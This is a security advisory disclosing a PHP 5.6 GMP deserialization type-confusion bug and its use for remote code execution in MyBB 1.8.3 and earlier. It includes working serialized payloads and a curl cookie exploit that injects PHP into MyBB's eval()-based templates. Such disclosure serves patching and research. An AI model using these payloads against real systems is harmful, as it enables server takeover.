PHP 5.6.x / MyBB 1.8.3 Remote Code Execution

2017-01-22T00:00:00
ID PACKETSTORM:140673
Type packetstorm
Reporter Taoguang Chen
Modified 2017-01-22T00:00:00

Description

                                        
                                            `#GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE  
Vulnerability]  
  
Taoguang Chen <[@chtg57](https://twitter.com/chtg57)> - Write Date:  
2015.4.28 - Release Date: 2017.1.20  
  
> A type-confusion vulnerability was discovered in GMP deserialization with crafted object's __wakeup() magic method that can be abused for updating any already assigned properties of any already created objects, this result in serious security issues.  
  
Affected Versions  
------------  
Affected is PHP 5.6 < 5.6.30  
  
Credits  
------------  
This vulnerability was disclosed by Taoguang Chen.  
  
Description  
------------  
gmp.c  
```  
static int gmp_unserialize(zval **object, zend_class_entry *ce, const  
unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data  
TSRMLS_DC) /* {{{ */  
{  
...  
ALLOC_INIT_ZVAL(zv_ptr);  
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)  
|| Z_TYPE_P(zv_ptr) != IS_ARRAY  
) {  
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);  
goto exit;  
}  
  
if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {  
zend_hash_copy(  
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),  
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)  
);  
}  
```  
  
zend_object_handlers.c  
```  
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */  
{  
zend_object *zobj;  
zobj = Z_OBJ_P(object);  
if (!zobj->properties) {  
rebuild_object_properties(zobj);  
}  
return zobj->properties;  
}  
```  
  
It has been demonstrated many times before that __wakeup() or other  
magic methods leads to `ZVAL` was changed from the memory in during  
deserializtion. So an attacker can change `**object` into an  
integer-type or bool-type `ZVAL`, then the attacker will be able to  
access any objects that stored in objects store via `Z_OBJ_P`. This  
means the attacker will be able to update any properties in the object  
via zend_hash_copy(). It is possible to lead to various problems and  
including security issues.  
  
The following codes will prove this vulnerability:  
```  
<?php  
  
class obj  
{  
var $ryat;  
  
function __wakeup()  
{  
$this->ryat = 1;  
}  
}  
  
$obj = new stdClass;  
$obj->aa = 1;  
$obj->bb = 2;  
  
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';  
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';  
$x = unserialize($exploit);  
var_dump($obj);  
  
?>  
```  
  
Expected result:  
```  
object(stdClass)#1 (2) {  
["aa"]=>  
int(1)  
["bb"]=>  
int(2)  
}  
```  
  
Actual result:  
```  
object(stdClass)#1 (3) {  
["aa"]=>  
string(2) "hi"  
["bb"]=>  
string(2) "hi"  
[0]=>  
object(obj)#3 (1) {  
["ryat"]=>  
&int(1)  
}  
}  
```  
  
**i) How to exploited this bug in real world?**  
  
When PHP 5.6 <= 5.6.11, DateInterval's __wakeup() use  
convert_to_long() handles and reassignments its properties (it has  
been demonstrated many times), so an attacker can convert GMP object  
to an any integer-type `ZVAL` via GMP's gmp_cast_object():  
  
```  
static int gmp_cast_object(zval *readobj, zval *writeobj, int type  
TSRMLS_DC) /* {{{ */  
{  
mpz_ptr gmpnum;  
switch (type) {  
...  
case IS_LONG:  
gmpnum = GET_GMP_FROM_ZVAL(readobj);  
INIT_PZVAL(writeobj);  
ZVAL_LONG(writeobj, mpz_get_si(gmpnum));  
return SUCCESS;  
```  
  
The following codes will prove this exploite way:  
```  
<?php  
  
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));  
  
?>  
```  
Of course, a crafted __wakeup() can also be exploited, ex:  
  
```  
<?php  
  
function __wakeup()  
{  
$this->ryat = (int) $this->ryat;  
}  
  
?>  
```  
  
**ii) Can be exploited this bug in real app?**  
  
Exploited the bug in MyBB:  
  
index.php  
```  
if(isset($mybb->cookies['mybb']['forumread']))  
{  
$forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);  
}  
```  
  
MyBB <= 1.8.3 allow deserialized cookies via unserialize(), so an  
attacker will be able to update `$mybb` or other object's any  
properties, and it is possible to lead to security issues easily, ex:  
xss, sql injection, remote code execution and etc. :-)  
  
**P.S. I had reported this vulnerability and it had been fixed in mybb  
>= 1.8.4.**  
  
Proof of Concept Exploit  
------------  
**MyBB <= 1.8.3 RCE vulnerability**  
  
index.php  
```  
eval('$index = "'.$templates->get('index').'";');  
```  
  
MyBB always use eval() function in during template parsing.  
  
inc/class_templates.php  
```  
class templates  
{  
...  
public $cache = array();  
...  
function get($title, $eslashes=1, $htmlcomments=1)  
{  
global $db, $theme, $mybb;  
...  
$template = $this->cache[$title];  
...  
return $template;  
}  
```  
  
If we can control the `$cache`, we will be albe to inject PHP code via  
eval() function.  
  
inc/init.php  
```  
$error_handler = new errorHandler();  
...  
$maintimer = new timer();  
...  
$mybb = new MyBB;  
...  
switch($config['database']['type'])  
{  
case "sqlite":  
$db = new DB_SQLite;  
break;  
case "pgsql":  
$db = new DB_PgSQL;  
break;  
case "mysqli":  
$db = new DB_MySQLi;  
break;  
default:  
$db = new DB_MySQL;  
}  
...  
$templates = new templates;  
```  
  
The `$templates` object was instantiated in init.php, and four objects  
was instantiated in this before. This means the `$templates` object's  
handle was set to `5` and stored into objects store, so we can access  
the `$templates` object and update the `$cache` property via convert  
GMP object into integer-type `ZVAL` that value is `5` in during GMP  
deserialization. This also means we can inject PHP code via eval()  
function.  
  
When MyBB <= 1.8.3 and PHP 5.6 <= 5.6.11, remote code execution by  
just using curl on the command line:  
```  
curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}'  
http://127.0.0.1/mybb/  
```  
  
  
`